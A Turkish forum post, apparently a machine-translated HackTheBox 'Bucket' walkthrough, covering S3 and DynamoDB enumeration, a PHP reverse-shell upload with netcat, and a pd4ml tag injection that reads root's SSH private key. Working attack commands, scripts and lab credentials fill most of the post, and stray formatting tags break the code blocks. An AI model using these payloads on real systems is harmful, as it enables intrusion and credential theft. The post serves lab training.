HackTheBox VPNBucket makinesine bağlayın ve IP'sine ping atarak bağlantınızın olduğundan emin olun 10.10.10.212. Her şey doğru giderse, bilgisayar korsanlığına başlama zamanı. Her zamanki gibi makineyi tarayarak başladım . Scanning nasıl ilerlememiz gerektiği konusunda bize bir fikir verir. Mesela, farklı portlar üzerinden çalışan servislere yardımcı olur banner grabbingve bazen de yardımcı olur vulnerability assessment. Bu görev için kullandım nmap ve sonuç aşağıda verilmiştir:

Tarama

Kod:
$ sudo nmap -sC -sV -oN bucket.nmap 10.10.10.212

affff2.png


Nmap 22 ve 80 numaralı bağlantı noktasının açık olduğunu ortaya çıkardı. OpenSSH bağlantı noktasında çalışıyor 22 ve Apache2 web sunucusu bağlantı noktasında çalışıyor 80. Apache2, 80 numaralı bağlantı noktasında çalıştığından, http://10.10.10.212 URL'si üzerinden çalışan bazı web sitelerimiz olmalıdır . Bu URL'ye gittikten sonra http ://bucket.htb yönlendirmesi bulundu . Bu nedenle, daha fazla numaralandırmaya geçmeden önce, dizinde bulunan dosyamıza IP 10.10.10.212'ye işaret eklemeliyiz . Bu kaydı ana bilgisayarlarıma ekledim bucket.htbhosts /etc/dosya.

Değişiklikten Sonra Dosyayı Barındırın



Kod:
$ cat /etc/hosts

afff3.png


Devam eden http://bucket.htb adresinde Bucket Reklam Platformu başlığı ve bir e-posta adresi bulundu [email protected]. 25 Port 110 ve açık olmadığımız için burada e-posta kullanımı yoktur.

af4.png



page-source
Bu sayfanın adresini kontrol etmeye çalıştım ve yeni bir alt alan adı aldım
s3.bucket.htb
Bu yüzden daha ileri gitmeden önce bu alt etki alanını dosyama ekledim

af5.png


Değişiklikten Sonra Dosyayı Barındırın

Kod:
$ cat /etc/hosts

af6.png


http://s3.bucket.htb URL'sine gittikten sonra bulundu {Status: running}. Bir şey çalışıyor gibi görünüyor. O olduğundan ve aynı zamanda kovalanacak S3 bir ipucu olduğundan , öyle olmalıdır AWS ( Amazon Web Services ) . S3 Bucket kullandığını öğrenmemize rağmen, sayacak hiçbir şeyimiz yok, bu yüzden hiçbir şey kalmadı accept ve .S3 Bucketdirectory bruteforcingfuzzing


Dizin Brute Force​


Kod:
$ sudo dirsearch -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://s3.bucket.htb/ -t 50 -e all | tee raft-medium.out

af7.png


Dizin Brute Force bir klasör buldu shell. URL'deki bu klasöre gittikten sonra http : //s3.bucket.htb/shell/bulundu . Biraz googling yaptıktan sonra , tablonun içeriğini bundan numaralandırabileceğimiz bir yol bulduk . Bu bağlantıyı StackOverflow'ta kontrol edin . Basitçe aşağıdaki kodu içine koyun ve kodu çalıştırmak için çalıştır'a tıklayın . Tablonun içindeki tüm öğelerin ayrıntılarını alacaksınız .DynamoDB JavaScript Shellusers Shell editor users

Kod:
var dynamodb = new AWS.DynamoDB({[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]region: 'us-east-1',
endpoint: "http://s3.bucket.htb"
});
var tableName = "users";

var params = {
TableName: tableName,
Select: "ALL_ATTRIBUTES"
};
function doScan(response) {
if (response.error) ppJson(response.error); // an error occurred
else {
    ppJson(response.data); // successful response

    // More data.  Keep calling scan.
    if ('LastEvaluatedKey' in response.data) {
        response.request.params.ExclusiveStartKey = response.data.LastEvaluatedKey;
        dynamodb.scan(response.request.params)
            .on('complete', doScan)
            .send();
    }
}
}
console.log("Starting a Scan of the table");
dynamodb.scan(params)
.on('complete', doScan)
.send();




af8.png


Yukarıdaki çıktıdan kimlik bilgilerini bulduk. Mgmt: Management@#1@#, Cloudadm: Welcome123!, Sysadm:n2vM-<_K_Q:.Aa2

SSH'miz
için hangisinin doğru kredi olduğunu bilmiyordum . hydra Her biri ile tek tek SSH'yi denedim ve hatta (çevrimiçi kaba kuvvet) kullanarak tüm SSH kombinasyonlarını test etmeye çalıştım, ancak geçerli bir SSH kimlik bilgisi bulunamadı . Burada numaralandırılmış kimlik bilgilerimiz şimdiye kadar işe yaramaz. Her neyse, bu kimlik bilgilerini my 'a ekledim , belki daha fazla numaralandırmada başka bir noktada faydalı olabilir . cherry tree notes

Biraz daha numaralandırmadan
sonra, aws komut satırı aracını kullanarak kova içindeki tüm web sunucusunu ve dosyalarını numaralandırmanın bir yolunu bulduk . Aracı kullanmak için önce onu geçerli bir AWS kimlik bilgileriyle yapılandırmamız gerekir . Gerekli kimlik bilgileri , , &' dir ( awscli aracı kullanımını yüklemek için ). Burada aws S3 klasörü yanlış yapılandırılmıştır ve herhangi bir sahte kimlik bilgisi olan herkes bu S3 klasöründe çalışan web sunucusuna erişebilir .awscli awscli AWS Access Key IDAWS Secret Access KeyDefault region nameDefault output format$sudo apt install awscli

Bunu kullanarak, bu kovada çalışan web sunucusuna da erişebildim. Ben bile bu web sunucusuna bir ters kabuk yükleyebilir ve makineme tekrar bağlantı sağlamak için ters kabuğu çalıştırabilirim . fake credential

Ters kabuk
elde etmek için aşağıdakileri yapın.

1 . awscli'yi sahte kimlik bilgisi kullanarak ilk kullanım için yapılandırın . Daha fazla bilgi için amazon'daki bu makaleye bakın .


AWS Bucket'e Aws CLI Aracılığıyla Erişme​

Kod:
$ aws configure

AWS Erişim Anahtarı Kimliği :AKIAI44QH8DHBEXAMPLE

AWS Gizli Erişim Anahtarı
: je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

Varsayılan bölge adı
:us-east-1

Varsayılan çıktı formatı
:text

2.
S3 klasörünün içeriğini http://s3.bucket.htb adresinde listeleyin.

Kod:
$ aws s3 ls --endpoint-url http://s3.bucket.htb --no-sign-request

Adserver web sunucusu s3.bucket.htb adresindeki grupta çalışıyor .

3. Reklam sunucusu grubundaki içeriği listeleyin .

Kod:
$ aws s3 ls --recursive --human-readable s3://adserver --endpoint-url http://s3.bucket.htb/

4. aws komutunu kullanarak php-reverse-shell betiğinizi image klasörüne kopyalayın [ php-reverse-shell betiğinde IP adresini tun0 IP'nizle değiştirmeyi unutmayın . Shell, Kali işletim sisteminizde ] dizininde bulunabilir .cp /usr/share/webshells/php/

Kod:
$ aws s3 cp ~/HTB/Boxes/Bucket/shell.php s3://adserver/images/shell.php --endpoint-url http://s3.bucket.htb/

5.
reverse-shell

reklam sunucusu grubuna yüklenip yüklenmediğini doğrulamak için resimler klasörünün dosyasını listeleyin .

Kod:
$ aws s3 ls s3://adserver/images/ --endpoint-url http://s3.bucket.htb/

6. Kali makinenizde netcat dinleyicisini başlatın .

$ nc -nvlp 1234

7
. Shell Çalıştırması

Kod:
$ curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php

Muhtemelen shell yüklediğimiz anda silen bir cron işi vardır . Bu yüzden bu işi çok hızlı yapan bir script oluşturdum . Böylece aşağıdaki betiği kullanarak kabuk alabilirsiniz.

Not: Kabuk almak için bu betiği 2 ila 3 kez çalıştırmanız gerekebilir . Bu betiği çalıştırmadan önce, netcat dinleyicinizi kabuk betiğinizde belirttiğiniz belirtilen bağlantı noktasında başlatın.


Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
echo "List Files."
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
## Copying  file from local computer to Bucket
aws --endpoint-url http://s3.bucket.htb/ s3 cp shell.php s3://adserver/images/shell.php
echo "Checking if file is uploaded"
aws --endpoint-url http://s3.bucket.htb/ s3 ls --recursive --human-readable --summarize s3://adserver
# Checking if file exists on web server
echo "Checking on s3.bucket"
curl --write-out "%{http_code}\n" --silent --output /dev/null http://s3.bucket.htb/adserver/images/shell.php
resp=404
# Executing the shell multiple time until get response code 200
while [[ $resp -eq 404 ]]; do
    resp=$(curl --write-out "%{http_code}\n" --silent --output /dev/null  http://bucket.htb/images/shell.php)
    echo $resp
    sleep 0.1;
done





Kod:
$ bash exploit.sh

af9.png


user olarak kullanıcı shellimiz var www-data. Üzerinden daha gelişmiş Linux komutları çalıştırabilmemiz için tam nitelikli Linux shell yetki yükseltelim .

Shell Yetki Yükseltme İşlemi

Kod:
$ python3 -c 'import pty;pty.spawn("/bin/bash")'[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
$ export TERM=xterm

$ ^Z # CTRL+Z To background the shell

$ stty raw -echo

$ fg # Plus two times enter to foreground the shell

$ stty rows 38 columns 116




af10.png


Daha önce numaralandırılmış üç kimlik bilgimiz var. roy Bunları tek tek kullanarak kullanıcıya geçmeye çalışalım , roy: n2vM-<_K_Q:.Aa2geçerli kimlik bilgileridir. Roy'a geçelim. Bu aynı zamanda geçerli bir SSH kimlik bilgisidir . Shelimizi kaybetmeniz durumunda, SSH Shelimize geri dönmek için bu kimlik bilgisini kullanın .


Kullanıcı Roy'a Geçiş

Kod:
$ su roy

Password: n2vM-<_K_Q:.Aa2

Kod:
$ whoami

af11.png



Capture User Flag



Kod:
$ cd ~
Kod:
$ cat user.txt

Ayrıcalık Yükseltme

Ayrıcalığı root'a yükseltmek için önce ayrıcalığı yükseltebileceğimiz bir ayrıcalık yükseltme vektörü bulmalıyız . Bunun için Bucket makinesindelinpeas.sh (bir kullanım sonrası numaralandırma betiği) koştum . Ayrıcalığı root'a yükseltmek için kullanılabilecek tüm potansiyel PrivEsc Vektörlerinin bilgilerini bulur.

PrivEsc Vektörünü Bulma

Linpea'nın şüphelenilen dizini ayrıcalığı artırmak için kullanılabilecek /var/www/bucket-app/aws/bir şeye sahiptir . Linpeas'ın neden potansiyel PrivEsc vektörümüz olduğundan şüphelendiğini suspicious tam olarak bilmiyordum . Manuel olarak kontrol edelim ve bunu kullanıp kullanmayacağımızı onaylayalım.

af12.png


index.php dizin içindeki dosya, bir tablo hakkında bazı bilgiler ve uç nokta olarak bazı dahili bağlantı noktaları /var/www/bucket-app/verdi . Ortak klasörün içine yerleştirildiğinden ve apache2 çalıştığından , bu bağlantı noktasında dahili web sunucusunun çalışma şansı olabilir. Komutu kullanarak onaylayacağız .alerts 4566 bucket-app$netstat

af13.png


$ netstat -punta
bazı benzersiz bağlantı noktalarını ortaya çıkardı 4566 ve 8000 yerel olarak dinliyor.

af14.png


Bu portlar üzerinden çalışan hizmetlere erişmek için, bu hizmetleri yerel makinemize yönlendirmeliyiz , böylece onlara web tarayıcımızdan erişebiliriz . Kullanıcının SSH kimlik bilgisine sahibiz : , bu nedenle bu hizmetlere erişmek için yerel makinemize gidebiliriz . Yerel port yönlendirme yapalım .roy royn2vM-<_K_Q:.Aa2Local Port Forward



Yerel Port Yönlendirme Gerçekleştirme​

Kod:
$ ssh -L 8000:127.0.0.1:8000 -L 4566:127.0.0.1:4566 [email protected][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]
~n2vM-<_K_Q:.Aa2




Kod:
$ ss -lnpt # Check for listening port on your local machine

af15.png


Kali makinemizdeki komutla onaylanabileceği gibi, bağlantı noktasını $ss –lnpt Kali makinemize başarıyla ilettik . Artık http://127.0.0.1:8000/ & http://127.0.0.1:4566 URL'sini ziyaret ederek portta ve web tarayıcımızda çalışan hizmetleri kontrol edebiliriz . 8000 4566

Yapım aşamasında,
URL'de http://127.0.0.1:8000 gösterilir .

af16.png


Running status http://127.0.0.1:4566 URL'sinde gösterilir . index.php Daha fazla bilgi için adresindeki dosyayı tekrar kontrol edelim /var/www/bucket-app/ .

af17.png


POST requestBu dosyaya göre bazı verileri tablonun içine kabul ettikten sonra yapıyor alerts. Bu tablo ayrıca , ve in gibi bazı ek değerler de ister . Kök kullanıcıyı elde etmek için bu özelliği kullanacağız . Bu sayfanın nasıl çalıştığı hakkında daha fazla bilgi için bu makaleye göz atabilirsiniz .Ransomewareget_alerts()filePost Dataprivate SSH key

Bu özellikten yararlanmak ve kök kullanıcının özel anahtarını almak için aşağıdakileri yaptım.

1. Yeni bir DynamoDB tablo oluşturuldu alerts.

2. Tablo uyarılarına yükümüzle birlikte istenen değerleri ekledik .

3. Sonunda POST talep edildiği gibi bazı ek verilerle talepte bulunuldu.

Bu işi gerçekleştirmek için bir komut dosyası oluşturdum . Komut dosyasını bir dosyaya kopyalayın ve uzantıyla kaydedin . ve osh execute


Kod:
#!/bin/bash[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER][COLOR=rgb(255, 255, 255)][CENTER]echo "Creating New Table"
echo "======================================"

# Creating New Table alerts

aws dynamodb create-table --table-name alerts --attribute-definitions AttributeName=title,AttributeType=S --key-schema AttributeName=title,KeyType=HASH --provisioned-throughput ReadCapacityUnits=10,WriteCapacityUnits=5 --endpoint-url http://127.0.0.1:4566

echo "======================================"
echo "Writing Data to alerts and putting in the file attacked.txt"

# Writing Data to table alerts

aws dynamodb put-item --table-name alerts --item '{"title": {"S": "Ransomware"}, "data": {"S": "<pd4ml:attachment description=\"attached.txt\" icon=\"PushPin\">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}' --endpoint-url http://127.0.0.1:4566
echo "======================================"
echo "Making Post Requests"

# Making Post Request with data "action=get_alerts"

curl -X POST -d "action=get_alerts" http://127.0.0.1:8000/index.php
echo "Done"
echo "Go to http://127.0.0.1:8000/files/ and download the attachment"




Kod:
$ bash command.sh

af18.png


Simgeye tıklayarak eki indirmek için http://127.0.0.1/files/result.pdf URL'sine gidelim pin .

af19.png


Ek, id_rsa root kullanıcının anahtarıdır.

Kod:
$ cat ~/Downloads/id_rsa

af20.png


SSH private key Kova makinesine root olarak giriş yapmak için bunu kullanalım .


Root Shelle Ulaşalım​


Kod:
$ cp ~/Downloads/id_rsa .
Kod:
$ chmod 400 id_rsa
Kod:
$ ssh -i id_rsa [email protected]
Kod:
# whoami && id

af21.png


Artık Root olduk, root bayrağını yakalayalım. 🥰


Capture Root Flag


Kod:
#cat root.txt

af22.png



KAYNAK : ethicalhacs



Not: Konuyu Elimden Geldiği Kadar Türkçeleştirmeye çalıştım.Bir Hatam varsa Lütfen konu altında bildirin düzeltiyim.
Teşekkürler.☺️


















eline sağlık ancak elimden geldiğinde türkçelştirmeye çalıştım demissin konuyu hangi kaynakdan aldığınıda koysaydın iyi olurdu
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.